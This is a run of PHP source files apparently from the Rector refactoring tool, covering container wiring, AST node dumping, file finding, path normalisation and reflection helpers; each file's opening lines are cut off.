=> 'TYPE_NORMAL', Use_::TYPE_FUNCTION => 'TYPE_FUNCTION', Use_::TYPE_CONSTANT => 'TYPE_CONSTANT']; if (!isset($map[$type])) { return (string) $type; } return $map[$type] . ' (' . $type . ')'; } private static function dumpSingleNode(Node $node) : string { $result = \get_class($node); // print simple nodes on same line, to make output more readable if ($node instanceof Variable && \is_string($node->name)) { $result .= '( name: "' . $node->name . '" )'; } elseif ($node instanceof Identifier) { $result .= '( name: "' . $node->name . '" )'; } elseif ($node instanceof Name) { $result .= '( parts: ' . \json_encode($node->getParts(), 0) . ' )'; } elseif ($node instanceof Scalar && $node->getSubNodeNames() === ['value']) { if (\is_string($node->value)) { $result .= '( value: "' . $node->value . '" )'; } else { $result .= '( value: ' . $node->value . ' )'; } } else { $result .= '('; foreach ($node->getSubNodeNames() as $key) { $result .= "\n " . $key . ': '; $value = $node->{$key}; if ($value === null) { $result .= 'null'; } elseif ($value === \false) { $result .= 'false'; } elseif ($value === \true) { $result .= 'true'; } elseif (\is_scalar($value)) { if ($key === 'flags' || $key === 'newModifier') { $result .= self::dumpFlags($value); } elseif ($key === 'type' && $node instanceof Include_) { $result .= self::dumpIncludeType($value); } elseif ($key === 'type' && ($node instanceof Use_ || $node instanceof UseUse || $node instanceof GroupUse)) { $result .= self::dumpUseType($value); } elseif (\is_string($value)) { $result .= '"' . $value . '"'; } else { $result .= $value; } } else { $result .= \str_replace("\n", "\n ", self::dump($value, \false)); } } $result .= "\n)"; } return $result; } } tagged($tagToForget); foreach ($taggedClasses as $taggedClass) { $container->offsetUnset(\get_class($taggedClass)); } // 2. forget tagged references $privatesAccessor = new PrivatesAccessor(); $privatesAccessor->propertyClosure($container, 'tags', static function (array $tags) use($tagToForget) : array { unset($tags[$tagToForget]); return $tags; }); } public static function forgetService(Container $container, string $typeToForget) : void { // 1. remove the service $container->offsetUnset($typeToForget); // 2. remove all tagged rules $privatesAccessor = new PrivatesAccessor(); $privatesAccessor->propertyClosure($container, 'tags', static function (array $tags) use($typeToForget) : array { foreach ($tags as $tagName => $taggedClasses) { foreach ($taggedClasses as $key => $taggedClass) { if (\is_a($taggedClass, $typeToForget, \true)) { unset($tags[$tagName][$key]); } } } return $tags; }); } } > */ private const NODE_NAME_RESOLVER_CLASSES = [ClassConstFetchNameResolver::class, ClassConstNameResolver::class, ClassNameResolver::class, FuncCallNameResolver::class, FunctionNameResolver::class, NameNameResolver::class, ParamNameResolver::class, PropertyNameResolver::class, UseNameResolver::class, VariableNameResolver::class]; /** * @var array> */ private const BASE_PHP_DOC_NODE_VISITORS = [ArrayTypePhpDocNodeVisitor::class, CallableTypePhpDocNodeVisitor::class, IntersectionTypeNodePhpDocNodeVisitor::class, TemplatePhpDocNodeVisitor::class, UnionTypeNodePhpDocNodeVisitor::class]; /** * @var array> */ private const ANNOTATION_TO_ATTRIBUTE_MAPPER_CLASSES = [ArrayAnnotationToAttributeMapper::class, ArrayItemNodeAnnotationToAttributeMapper::class, ClassConstFetchAnnotationToAttributeMapper::class, ConstExprNodeAnnotationToAttributeMapper::class, CurlyListNodeAnnotationToAttributeMapper::class, DoctrineAnnotationAnnotationToAttributeMapper::class, StringAnnotationToAttributeMapper::class, StringNodeAnnotationToAttributeMapper::class]; /** * @var array> */ private const SCOPE_RESOLVER_NODE_VISITOR_CLASSES = [ArgNodeVisitor::class, AssignedToNodeVisitor::class, ByRefReturnNodeVisitor::class, ByRefVariableNodeVisitor::class, ContextNodeVisitor::class, GlobalVariableNodeVisitor::class, NameNodeVisitor::class, StaticVariableNodeVisitor::class, StmtKeyNodeVisitor::class]; /** * @var array> */ private const PHPDOC_TYPE_MAPPER_CLASSES = [IdentifierPhpDocTypeMapper::class, IntersectionPhpDocTypeMapper::class, NullablePhpDocTypeMapper::class, UnionPhpDocTypeMapper::class]; /** * @var array> */ private const CLASS_NAME_IMPORT_SKIPPER_CLASSES = [AliasClassNameImportSkipVoter::class, ClassLikeNameClassNameImportSkipVoter::class, FullyQualifiedNameClassNameImportSkipVoter::class, UsesClassNameImportSkipVoter::class]; /** * @var array> */ private const TYPE_MAPPER_CLASSES = [AccessoryLiteralStringTypeMapper::class, AccessoryNonEmptyStringTypeMapper::class, AccessoryNonFalsyStringTypeMapper::class, AccessoryNumericStringTypeMapper::class, ArrayTypeMapper::class, BooleanTypeMapper::class, CallableTypeMapper::class, ClassStringTypeMapper::class, ClosureTypeMapper::class, ConditionalTypeForParameterMapper::class, ConditionalTypeMapper::class, FloatTypeMapper::class, GenericClassStringTypeMapper::class, HasMethodTypeMapper::class, HasOffsetTypeMapper::class, HasOffsetValueTypeTypeMapper::class, HasPropertyTypeMapper::class, IntegerTypeMapper::class, IntersectionTypeMapper::class, IterableTypeMapper::class, MixedTypeMapper::class, NeverTypeMapper::class, NonEmptyArrayTypeMapper::class, NullTypeMapper::class, ObjectTypeMapper::class, ObjectWithoutClassTypeMapper::class, OversizedArrayTypeMapper::class, ParentStaticTypeMapper::class, ResourceTypeMapper::class, SelfObjectTypeMapper::class, StaticTypeMapper::class, StrictMixedTypeMapper::class, StringTypeMapper::class, ThisTypeMapper::class, TypeWithClassNameTypeMapper::class, UnionTypeMapper::class, VoidTypeMapper::class]; /** * @var array> */ private const PHP_DOC_NODE_DECORATOR_CLASSES = [ConstExprClassNameDecorator::class, DoctrineAnnotationDecorator::class, ArrayItemClassNameDecorator::class]; /** * @var array */ private const PUBLIC_PHPSTAN_SERVICE_TYPES = [ScopeFactory::class, TypeNodeResolver::class, NodeScopeResolver::class, ReflectionProvider::class, CachingVisitor::class]; /** * @var array> */ private const OUTPUT_FORMATTER_CLASSES = [ConsoleOutputFormatter::class, JsonOutputFormatter::class]; /** * @var array> */ private const NODE_TYPE_RESOLVER_CLASSES = [CastTypeResolver::class, StaticCallMethodCallTypeResolver::class, ClassAndInterfaceTypeResolver::class, IdentifierTypeResolver::class, NameTypeResolver::class, NewTypeResolver::class, ParamTypeResolver::class, PropertyFetchTypeResolver::class, ClassConstFetchTypeResolver::class, PropertyTypeResolver::class, ScalarTypeResolver::class, TraitTypeResolver::class]; /** * @var array> */ private const PHP_PARSER_NODE_MAPPER_CLASSES = [FullyQualifiedNodeMapper::class, IdentifierNodeMapper::class, IntersectionTypeNodeMapper::class, NameNodeMapper::class, NullableTypeNodeMapper::class, StringNodeMapper::class, UnionTypeNodeMapper::class, ExprNodeMapper::class]; /** * @var array> */ private const CONVERTER_ATTRIBUTE_DECORATOR_CLASSES = [SensioParamConverterAttributeDecorator::class, DoctrineConverterAttributeDecorator::class]; /** * @api used as next rectorConfig factory */ public function create() : RectorConfig { $rectorConfig = new RectorConfig(); $rectorConfig->import(__DIR__ . '/../../config/config.php'); $rectorConfig->singleton(Application::class, static function (Container $container) : Application { $application = $container->make(ConsoleApplication::class); $commandNamesToHide = ['list', 'completion', 'help', 'worker']; foreach ($commandNamesToHide as $commandNameToHide) { $commandToHide = $application->get($commandNameToHide); $commandToHide->setHidden(); } return $application; }); $rectorConfig->when(ConsoleApplication::class)->needs('$commands')->giveTagged(Command::class); $rectorConfig->singleton(Inflector::class, static function () : Inflector { $inflectorFactory = new InflectorFactory(); return $inflectorFactory->build(); }); $rectorConfig->singleton(ProcessCommand::class); $rectorConfig->singleton(WorkerCommand::class); $rectorConfig->singleton(SetupCICommand::class); $rectorConfig->singleton(ListRulesCommand::class); $rectorConfig->singleton(CustomRuleCommand::class); $rectorConfig->when(ListRulesCommand::class)->needs('$rectors')->giveTagged(RectorInterface::class); $rectorConfig->singleton(FileProcessor::class); $rectorConfig->singleton(PostFileProcessor::class); // phpdoc-parser $rectorConfig->when(TypeParser::class)->needs('$usedAttributes')->give(['lines' => \true, 'indexes' => \true]); $rectorConfig->when(ConstExprParser::class)->needs('$usedAttributes')->give(['lines' => \true, 'indexes' => \true]); $rectorConfig->alias(TypeParser::class, BetterTypeParser::class); $rectorConfig->when(RectorNodeTraverser::class)->needs('$rectors')->giveTagged(RectorInterface::class); $rectorConfig->when(ConfigInitializer::class)->needs('$rectors')->giveTagged(RectorInterface::class); $rectorConfig->when(ClassNameImportSkipper::class)->needs('$classNameImportSkipVoters')->giveTagged(ClassNameImportSkipVoterInterface::class); $rectorConfig->singleton(DynamicSourceLocatorProvider::class, static function (Container $container) : DynamicSourceLocatorProvider { $phpStanServicesFactory = $container->make(PHPStanServicesFactory::class); return $phpStanServicesFactory->createDynamicSourceLocatorProvider(); }); // resetables $rectorConfig->tag(DynamicSourceLocatorProvider::class, ResetableInterface::class); $rectorConfig->tag(RenamedClassesDataCollector::class, ResetableInterface::class); // caching $rectorConfig->singleton(Cache::class, static function (Container $container) : Cache { /** @var CacheFactory $cacheFactory */ $cacheFactory = $container->make(CacheFactory::class); return $cacheFactory->create(); }); // tagged services $rectorConfig->when(BetterPhpDocParser::class)->needs('$phpDocNodeDecorators')->giveTagged(PhpDocNodeDecoratorInterface::class); $rectorConfig->afterResolving(ArrayTypeMapper::class, static function (ArrayTypeMapper $arrayTypeMapper, Container $container) : void { $arrayTypeMapper->autowire($container->make(PHPStanStaticTypeMapper::class)); }); $rectorConfig->afterResolving(ConditionalTypeForParameterMapper::class, static function (ConditionalTypeForParameterMapper $conditionalTypeForParameterMapper, Container $container) : void { $phpStanStaticTypeMapper = $container->make(PHPStanStaticTypeMapper::class); $conditionalTypeForParameterMapper->autowire($phpStanStaticTypeMapper); }); $rectorConfig->afterResolving(ConditionalTypeMapper::class, static function (ConditionalTypeMapper $conditionalTypeMapper, Container $container) : void { $phpStanStaticTypeMapper = $container->make(PHPStanStaticTypeMapper::class); $conditionalTypeMapper->autowire($phpStanStaticTypeMapper); }); $rectorConfig->afterResolving(UnionTypeMapper::class, static function (UnionTypeMapper $unionTypeMapper, Container $container) : void { $phpStanStaticTypeMapper = $container->make(PHPStanStaticTypeMapper::class); $unionTypeMapper->autowire($phpStanStaticTypeMapper); }); $rectorConfig->when(PHPStanStaticTypeMapper::class)->needs('$typeMappers')->giveTagged(TypeMapperInterface::class); $rectorConfig->when(PhpDocTypeMapper::class)->needs('$phpDocTypeMappers')->giveTagged(PhpDocTypeMapperInterface::class); $rectorConfig->when(PhpParserNodeMapper::class)->needs('$phpParserNodeMappers')->giveTagged(PhpParserNodeMapperInterface::class); $rectorConfig->when(NodeTypeResolver::class)->needs('$nodeTypeResolvers')->giveTagged(NodeTypeResolverInterface::class); // node name resolvers $rectorConfig->when(NodeNameResolver::class)->needs('$nodeNameResolvers')->giveTagged(NodeNameResolverInterface::class); $rectorConfig->when(AttributeGroupNamedArgumentManipulator::class)->needs('$converterAttributeDecorators')->giveTagged(ConverterAttributeDecoratorInterface::class); $this->registerTagged($rectorConfig, self::CONVERTER_ATTRIBUTE_DECORATOR_CLASSES, ConverterAttributeDecoratorInterface::class); $rectorConfig->afterResolving(AbstractRector::class, static function (AbstractRector $rector, Container $container) : void { $rector->autowire($container->get(NodeNameResolver::class), $container->get(NodeTypeResolver::class), $container->get(SimpleCallableNodeTraverser::class), $container->get(NodeFactory::class), $container->get(Skipper::class), $container->get(NodeComparator::class), $container->get(CurrentFileProvider::class), $container->get(CreatedByRuleDecorator::class), $container->get(ChangedNodeScopeRefresher::class)); }); $this->registerTagged($rectorConfig, self::PHP_PARSER_NODE_MAPPER_CLASSES, PhpParserNodeMapperInterface::class); $this->registerTagged($rectorConfig, self::PHP_DOC_NODE_DECORATOR_CLASSES, PhpDocNodeDecoratorInterface::class); $this->registerTagged($rectorConfig, self::BASE_PHP_DOC_NODE_VISITORS, BasePhpDocNodeVisitorInterface::class); // PHP 8.0 attributes $this->registerTagged($rectorConfig, self::ANNOTATION_TO_ATTRIBUTE_MAPPER_CLASSES, AnnotationToAttributeMapperInterface::class); $this->registerTagged($rectorConfig, self::TYPE_MAPPER_CLASSES, TypeMapperInterface::class); $this->registerTagged($rectorConfig, self::PHPDOC_TYPE_MAPPER_CLASSES, PhpDocTypeMapperInterface::class); $this->registerTagged($rectorConfig, self::NODE_NAME_RESOLVER_CLASSES, NodeNameResolverInterface::class); $this->registerTagged($rectorConfig, self::NODE_TYPE_RESOLVER_CLASSES, NodeTypeResolverInterface::class); $this->registerTagged($rectorConfig, self::OUTPUT_FORMATTER_CLASSES, OutputFormatterInterface::class); $this->registerTagged($rectorConfig, self::BASE_PHP_DOC_NODE_VISITORS, BasePhpDocNodeVisitorInterface::class); $this->registerTagged($rectorConfig, self::CLASS_NAME_IMPORT_SKIPPER_CLASSES, ClassNameImportSkipVoterInterface::class); $rectorConfig->alias(SymfonyStyle::class, RectorStyle::class); $rectorConfig->singleton(SymfonyStyle::class, static function (Container $container) : SymfonyStyle { $symfonyStyleFactory = $container->make(SymfonyStyleFactory::class); return $symfonyStyleFactory->create(); }); $rectorConfig->when(AnnotationToAttributeMapper::class)->needs('$annotationToAttributeMappers')->giveTagged(AnnotationToAttributeMapperInterface::class); $rectorConfig->when(OutputFormatterCollector::class)->needs('$outputFormatters')->giveTagged(OutputFormatterInterface::class); // required-like setter $rectorConfig->afterResolving(ArrayAnnotationToAttributeMapper::class, static function (ArrayAnnotationToAttributeMapper $arrayAnnotationToAttributeMapper, Container $container) : void { $annotationToAttributesMapper = $container->make(AnnotationToAttributeMapper::class); $arrayAnnotationToAttributeMapper->autowire($annotationToAttributesMapper); }); $rectorConfig->afterResolving(ArrayItemNodeAnnotationToAttributeMapper::class, static function (ArrayItemNodeAnnotationToAttributeMapper $arrayItemNodeAnnotationToAttributeMapper, Container $container) : void { $annotationToAttributeMapper = $container->make(AnnotationToAttributeMapper::class); $arrayItemNodeAnnotationToAttributeMapper->autowire($annotationToAttributeMapper); }); $rectorConfig->afterResolving(PlainValueParser::class, static function (PlainValueParser $plainValueParser, Container $container) : void { $plainValueParser->autowire($container->make(StaticDoctrineAnnotationParser::class), $container->make(ArrayParser::class)); }); $rectorConfig->afterResolving(CurlyListNodeAnnotationToAttributeMapper::class, static function (CurlyListNodeAnnotationToAttributeMapper $curlyListNodeAnnotationToAttributeMapper, Container $container) : void { $annotationToAttributeMapper = $container->make(AnnotationToAttributeMapper::class); $curlyListNodeAnnotationToAttributeMapper->autowire($annotationToAttributeMapper); }); $rectorConfig->afterResolving(DoctrineAnnotationAnnotationToAttributeMapper::class, static function (DoctrineAnnotationAnnotationToAttributeMapper $doctrineAnnotationAnnotationToAttributeMapper, Container $container) : void { $annotationToAttributeMapper = $container->make(AnnotationToAttributeMapper::class); $doctrineAnnotationAnnotationToAttributeMapper->autowire($annotationToAttributeMapper); }); $rectorConfig->when(PHPStanNodeScopeResolver::class)->needs('$nodeVisitors')->giveTagged(ScopeResolverNodeVisitorInterface::class); $this->registerTagged($rectorConfig, self::SCOPE_RESOLVER_NODE_VISITOR_CLASSES, ScopeResolverNodeVisitorInterface::class); $this->createPHPStanServices($rectorConfig); $rectorConfig->when(PhpDocNodeMapper::class)->needs('$phpDocNodeVisitors')->giveTagged(BasePhpDocNodeVisitorInterface::class); return $rectorConfig; } /** * @param array $classes * @param class-string $tagInterface */ private function registerTagged(Container $container, array $classes, string $tagInterface) : void { foreach ($classes as $class) { Assert::isAOf($class, $tagInterface); $container->singleton($class); $container->tag($class, $tagInterface); } } private function createPHPStanServices(RectorConfig $rectorConfig) : void { $rectorConfig->singleton(Parser::class, static function (Container $container) { $phpstanServiceFactory = $container->make(PHPStanServicesFactory::class); return $phpstanServiceFactory->createPHPStanParser(); }); $rectorConfig->singleton(Lexer::class, static function (Container $container) { $phpstanServiceFactory = $container->make(PHPStanServicesFactory::class); return $phpstanServiceFactory->createEmulativeLexer(); }); foreach (self::PUBLIC_PHPSTAN_SERVICE_TYPES as $publicPhpstanServiceType) { $rectorConfig->singleton($publicPhpstanServiceType, static function (Container $container) use($publicPhpstanServiceType) { $phpstanServiceFactory = $container->make(PHPStanServicesFactory::class); return $phpstanServiceFactory->getByType($publicPhpstanServiceType); }); } } } createFromConfigs($bootstrapConfigs->getConfigFiles()); $mainConfigFile = $bootstrapConfigs->getMainConfigFile(); if ($mainConfigFile !== null) { /** @var ChangedFilesDetector $changedFilesDetector */ $changedFilesDetector = $container->make(ChangedFilesDetector::class); $changedFilesDetector->setFirstResolvedConfigFileInfo($mainConfigFile); } /** @var BootstrapFilesIncluder $bootstrapFilesIncluder */ $bootstrapFilesIncluder = $container->get(BootstrapFilesIncluder::class); $bootstrapFilesIncluder->includeBootstrapFiles(); return $container; } /** * @param string[] $configFiles */ private function createFromConfigs(array $configFiles) : Container { $lazyContainerFactory = new \Rector\DependencyInjection\LazyContainerFactory(); $rectorConfig = $lazyContainerFactory->create(); foreach ($configFiles as $configFile) { $rectorConfig->import($configFile); } $rectorConfig->boot(); return $rectorConfig; } } 'Original', 'toFile' => 'New']); $this->differ = new Differ($strictUnifiedDiffOutputBuilder); } public function diff(string $old, string $new) : string { if ($old === $new) { return ''; } return $this->differ->diff($old, $new); } } createDefaultMessageWithLocation(); } parent::__construct($message, $code, $throwable); } private function createDefaultMessageWithLocation() : string { $debugBacktrace = \debug_backtrace(); $class = $debugBacktrace[2]['class'] ?? null; $function = $debugBacktrace[2]['function']; $line = $debugBacktrace[1]['line'] ?? 0; $method = $class !== null ? $class . '::' . $function : $function; /** @var string $method */ /** @var int $line */ return \sprintf('Look at "%s()" on line %d', $method, $line); } } resolveParentClassMethods($classReflection, $methodName) !== []; } /** * Look both parent class and interface, yes, all PHP interface methods are abstract */ public function hasAbstractParentClassMethod(ClassReflection $classReflection, string $methodName) : bool { $parentClassMethods = $this->resolveParentClassMethods($classReflection, $methodName); if ($parentClassMethods === []) { return \false; } foreach ($parentClassMethods as $parentClassMethod) { if ($parentClassMethod->isAbstract()) { return \true; } } return \false; } /** * @api downgrade */ public function resolveParentClassMethodReturnType(ClassReflection $classReflection, string $methodName) : Type { $parentClassMethods = $this->resolveParentClassMethods($classReflection, $methodName); if ($parentClassMethods === []) { return new MixedType(); } foreach ($parentClassMethods as $parentClassMethod) { $parametersAcceptor = ParametersAcceptorSelector::combineAcceptors($parentClassMethod->getVariants()); $nativeReturnType = $parametersAcceptor->getNativeReturnType(); if (!$nativeReturnType instanceof MixedType) { return $nativeReturnType; } } return new MixedType(); } /** * @return PhpMethodReflection[] */ private function resolveParentClassMethods(ClassReflection $classReflection, string $methodName) : array { if ($classReflection->hasNativeMethod($methodName) && $classReflection->getNativeMethod($methodName)->isPrivate()) { return []; } $parentClassMethods = []; $parents = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($parents as $parent) { if (!$parent->hasNativeMethod($methodName)) { continue; } $methodReflection = $parent->getNativeMethod($methodName); if (!$methodReflection instanceof PhpMethodReflection) { continue; } $methodDeclaringMethodClass = $methodReflection->getDeclaringClass(); if ($methodDeclaringMethodClass->getName() === $parent->getName()) { $parentClassMethods[] = $methodReflection; } } return $parentClassMethods; } } reflectionProvider = $reflectionProvider; $this->nodeNameResolver = $nodeNameResolver; } /** * @api * @return string[] * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_|\PhpParser\Node\Name $classOrName */ public function getClassLikeAncestorNames($classOrName) : array { $ancestorNames = []; if ($classOrName instanceof Name) { $fullName = $this->nodeNameResolver->getName($classOrName); if (!$this->reflectionProvider->hasClass($fullName)) { return []; } $classReflection = $this->reflectionProvider->getClass($fullName); $ancestors = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); return \array_map(static function (ClassReflection $classReflection) : string { return $classReflection->getName(); }, $ancestors); } if ($classOrName instanceof Interface_) { foreach ($classOrName->extends as $extendInterfaceName) { $ancestorNames[] = $this->nodeNameResolver->getName($extendInterfaceName); $ancestorNames = \array_merge($ancestorNames, $this->getClassLikeAncestorNames($extendInterfaceName)); } } if ($classOrName instanceof Class_) { if ($classOrName->extends instanceof Name) { $ancestorNames[] = $this->nodeNameResolver->getName($classOrName->extends); $ancestorNames = \array_merge($ancestorNames, $this->getClassLikeAncestorNames($classOrName->extends)); } foreach ($classOrName->implements as $implement) { $ancestorNames[] = $this->nodeNameResolver->getName($implement); $ancestorNames = \array_merge($ancestorNames, $this->getClassLikeAncestorNames($implement)); } } /** @var string[] $ancestorNames */ return $ancestorNames; } } filesystem = $filesystem; } public function relativePath(string $fileRealPath) : string { if (!$this->filesystem->isAbsolutePath($fileRealPath)) { return $fileRealPath; } return $this->relativeFilePathFromDirectory($fileRealPath, \getcwd()); } /** * Used from * https://github.com/phpstan/phpstan-src/blob/02425e61aa48f0668b4efb3e73d52ad544048f65/src/File/FileHelper.php#L40, with custom modifications */ public function normalizePathAndSchema(string $originalPath) : string { $directorySeparator = \DIRECTORY_SEPARATOR; $matches = Strings::match($originalPath, self::SCHEME_PATH_REGEX); if ($matches !== null) { [, $scheme, $path] = $matches; } else { $scheme = self::SCHEME_UNDEFINED; $path = $originalPath; } $normalizedPath = PathNormalizer::normalize((string) $path); $path = Strings::replace($normalizedPath, self::TWO_AND_MORE_SLASHES_REGEX, '/'); $pathRoot = \strncmp($path, '/', \strlen('/')) === 0 ? $directorySeparator : ''; $pathParts = \explode('/', \trim($path, '/')); $normalizedPathParts = $this->normalizePathParts($pathParts, $scheme); $pathStart = $scheme !== self::SCHEME_UNDEFINED ? $scheme . '://' : ''; return PathNormalizer::normalize($pathStart . $pathRoot . \implode($directorySeparator, $normalizedPathParts)); } private function relativeFilePathFromDirectory(string $fileRealPath, string $directory) : string { Assert::directory($directory); $normalizedFileRealPath = PathNormalizer::normalize($fileRealPath); $relativeFilePath = $this->filesystem->makePathRelative($normalizedFileRealPath, $directory); return \rtrim($relativeFilePath, '/'); } /** * @param string[] $pathParts * @return string[] */ private function normalizePathParts(array $pathParts, string $scheme) : array { $normalizedPathParts = []; foreach ($pathParts as $pathPart) { if ($pathPart === '.') { continue; } if ($pathPart !== '..') { $normalizedPathParts[] = $pathPart; continue; } /** @var string $removedPart */ $removedPart = \array_pop($normalizedPathParts); if ($scheme !== 'phar') { continue; } if (\substr_compare($removedPart, '.phar', -\strlen('.phar')) !== 0) { continue; } $scheme = self::SCHEME_UNDEFINED; } return $normalizedPathParts; } } filesystemTweaker = $filesystemTweaker; $this->unchangedFilesFilter = $unchangedFilesFilter; $this->fileAndDirectoryFilter = $fileAndDirectoryFilter; $this->pathSkipper = $pathSkipper; $this->filePathHelper = $filePathHelper; $this->changedFilesDetector = $changedFilesDetector; } /** * @param string[] $source * @param string[] $suffixes * @return string[] */ public function findInDirectoriesAndFiles(array $source, array $suffixes = [], bool $sortByName = \true) : array { $filesAndDirectories = $this->filesystemTweaker->resolveWithFnmatch($source); // filtering files in files collection $filteredFilePaths = $this->fileAndDirectoryFilter->filterFiles($filesAndDirectories); $filteredFilePaths = \array_map(function (string $filePath) : string { return \realpath($filePath); }, $filteredFilePaths); $filteredFilePaths = \array_filter($filteredFilePaths, function (string $filePath) : bool { return !$this->pathSkipper->shouldSkip($filePath); }); if ($suffixes !== []) { $fileWithExtensionsFilter = static function (string $filePath) use($suffixes) : bool { $filePathExtension = \pathinfo($filePath, \PATHINFO_EXTENSION); return \in_array($filePathExtension, $suffixes, \true); }; $filteredFilePaths = \array_filter($filteredFilePaths, $fileWithExtensionsFilter); } $filteredFilePaths = \array_filter($filteredFilePaths, function (string $file) : bool { if ($this->isStartWithShortPHPTag(FileSystem::read($file))) { SimpleParameterProvider::addParameter(Option::SKIPPED_START_WITH_SHORT_OPEN_TAG_FILES, $this->filePathHelper->relativePath($file)); return \false; } return \true; }); // filtering files in directories collection $directories = $this->fileAndDirectoryFilter->filterDirectories($filesAndDirectories); $filteredFilePathsInDirectories = $this->findInDirectories($directories, $suffixes, $sortByName); $filePaths = \array_merge($filteredFilePaths, $filteredFilePathsInDirectories); return $this->unchangedFilesFilter->filterFilePaths($filePaths); } /** * @param string[] $paths * @return string[] */ public function findFilesInPaths(array $paths, Configuration $configuration) : array { if ($configuration->shouldClearCache()) { $this->changedFilesDetector->clear(); } $supportedFileExtensions = $configuration->getFileExtensions(); return $this->findInDirectoriesAndFiles($paths, $supportedFileExtensions); } /** * Exclude short "files()->size('> 0')->in($directories); if ($sortByName) { $finder->sortByName(); } if ($suffixes !== []) { $suffixesPattern = $this->normalizeSuffixesToPattern($suffixes); $finder->name($suffixesPattern); } $filePaths = []; foreach ($finder as $fileInfo) { // getRealPath() function will return false when it checks broken symlinks. // So we should check if this file exists or we got broken symlink /** @var string|false $path */ $path = $fileInfo->getRealPath(); if ($path === \false) { continue; } if ($this->pathSkipper->shouldSkip($path)) { continue; } if ($this->isStartWithShortPHPTag($fileInfo->getContents())) { SimpleParameterProvider::addParameter(Option::SKIPPED_START_WITH_SHORT_OPEN_TAG_FILES, $this->filePathHelper->relativePath($path)); continue; } $filePaths[] = $path; } return $filePaths; } /** * @param string[] $suffixes */ private function normalizeSuffixesToPattern(array $suffixes) : string { $suffixesPattern = \implode('|', $suffixes); return '#\\.(' . $suffixesPattern . ')$#'; } } foundInGlob($path); $absolutePathsFound = \array_merge($absolutePathsFound, $foundPaths); } else { $absolutePathsFound[] = $path; } } return $absolutePathsFound; } /** * @return string[] */ private function foundInGlob(string $path) : array { /** @var string[] $paths */ $paths = (array) \glob($path); return \array_filter($paths, static function (string $path) : bool { return \file_exists($path); }); } } directories()->depth(0)->notPath(self::DO_NOT_INCLUDE_PATHS_REGEX)->in($projectDirectory)->sortByName(); /** @var SplFileInfo[] $rootDirectoryFileInfos */ $rootDirectoryFileInfos = \iterator_to_array($rootDirectoryFinder); $projectDirectories = []; foreach ($rootDirectoryFileInfos as $rootDirectoryFileInfo) { if (!$this->hasDirectoryFileInfoPhpFiles($rootDirectoryFileInfo)) { continue; } $projectDirectories[] = $rootDirectoryFileInfo->getRelativePathname(); } return $projectDirectories; } private function hasDirectoryFileInfoPhpFiles(SplFileInfo $rootDirectoryFileInfo) : bool { // is directory with PHP files? $phpFilesCount = Finder::create()->files()->in($rootDirectoryFileInfo->getPathname())->name('*.php')->count(); return $phpFilesCount !== 0; } } */ public static function readFilePath(string $filePath) : array { $fileContents = FileSystem::read($filePath); return Json::decode($fileContents, \true); } /** * @param array $data */ public static function writeFile(string $filePath, array $data) : void { $json = Json::encode($data, \true); FileSystem::write($filePath, $json, null); } } .*?)\\.git#'; public static function resolveGithubRepositoryName(string $currentDirectory) : ?string { // resolve current repository name $process = new Process(['git', 'remote', 'get-url', 'origin'], $currentDirectory, null, null, null); $process->run(); $output = $process->getOutput(); $match = Strings::match($output, self::GITHUB_REPOSITORY_REGEX); return $match['repository_name'] ?? null; } } name instanceof Identifier) { return \true; } } return \false; } } nodeNameResolver = $nodeNameResolver; } public function matchFuncCallAndOtherExpr(BinaryOp $binaryOp, string $funcCallName) : ?FuncCallAndExpr { if ($binaryOp->left instanceof FuncCall) { if (!$this->nodeNameResolver->isName($binaryOp->left, $funcCallName)) { return null; } return new FuncCallAndExpr($binaryOp->left, $binaryOp->right); } if ($binaryOp->right instanceof FuncCall) { if (!$this->nodeNameResolver->isName($binaryOp->right, $funcCallName)) { return null; } return new FuncCallAndExpr($binaryOp->right, $binaryOp->left); } return null; } } > */ private const OBJECT_CALL_TYPES = [MethodCall::class, NullsafeMethodCall::class, StaticCall::class]; public function __construct(ReflectionProvider $reflectionProvider) { $this->reflectionProvider = $reflectionProvider; } public function isObjectCall(Expr $expr) : bool { if ($expr instanceof BooleanNot) { $expr = $expr->expr; } if ($expr instanceof BinaryOp) { $isObjectCallLeft = $this->isObjectCall($expr->left); $isObjectCallRight = $this->isObjectCall($expr->right); return $isObjectCallLeft || $isObjectCallRight; } foreach (self::OBJECT_CALL_TYPES as $objectCallType) { if ($expr instanceof $objectCallType) { return \true; } } return \false; } /** * @param If_[] $ifs */ public function doesIfHasObjectCall(array $ifs) : bool { foreach ($ifs as $if) { if ($this->isObjectCall($if->cond)) { return \true; } } return \false; } public function isNewInstance(Variable $variable) : bool { $scope = $variable->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return \false; } $type = $scope->getNativeType($variable); if (!$type instanceof ObjectType) { return \false; } $className = $type->getClassName(); if (!$this->reflectionProvider->hasClass($className)) { return \false; } $classReflection = $this->reflectionProvider->getClass($className); return $classReflection->getNativeReflection()->isInstantiable(); } } isAnonymousClass($node->class); } if ($node instanceof Class_) { return $node->isAnonymous(); } return \false; } } nodeNameResolver = $nodeNameResolver; } public function isInCompact(FuncCall $funcCall, Variable $variable) : bool { if (!$this->nodeNameResolver->isName($funcCall, 'compact')) { return \false; } if (!\is_string($variable->name)) { return \false; } return $this->isInArgOrArrayItemNodes($funcCall->args, $variable->name); } /** * @param array $nodes */ private function isInArgOrArrayItemNodes(array $nodes, string $variableName) : bool { foreach ($nodes as $node) { if ($this->shouldSkip($node)) { continue; } /** @var Arg|ArrayItem $node */ if ($node->value instanceof Array_) { if ($this->isInArgOrArrayItemNodes($node->value->items, $variableName)) { return \true; } continue; } if (!$node->value instanceof String_) { continue; } if ($node->value->value === $variableName) { return \true; } } return \false; } /** * @param \PhpParser\Node\Arg|\PhpParser\Node\VariadicPlaceholder|\PhpParser\Node\Expr\ArrayItem|null $node */ private function shouldSkip($node) : bool { if ($node === null) { return \true; } return $node instanceof VariadicPlaceholder; } } isTrue($expr)) { return \true; } return $this->isFalse($expr); } public function isFalse(Expr $expr) : bool { return $this->isConstantWithLowercasedName($expr, 'false'); } public function isTrue(Expr $expr) : bool { return $this->isConstantWithLowercasedName($expr, 'true'); } public function isNull(Expr $expr) : bool { return $this->isConstantWithLowercasedName($expr, 'null'); } private function isConstantWithLowercasedName(Node $node, string $name) : bool { if (!$node instanceof ConstFetch) { return \false; } return $node->name->toLowerString() === $name; } } phpDocInfoFactory = $phpDocInfoFactory; } public function hasClassAnnotation(Class_ $class) : bool { $phpDocInfo = $this->phpDocInfoFactory->createFromNode($class); 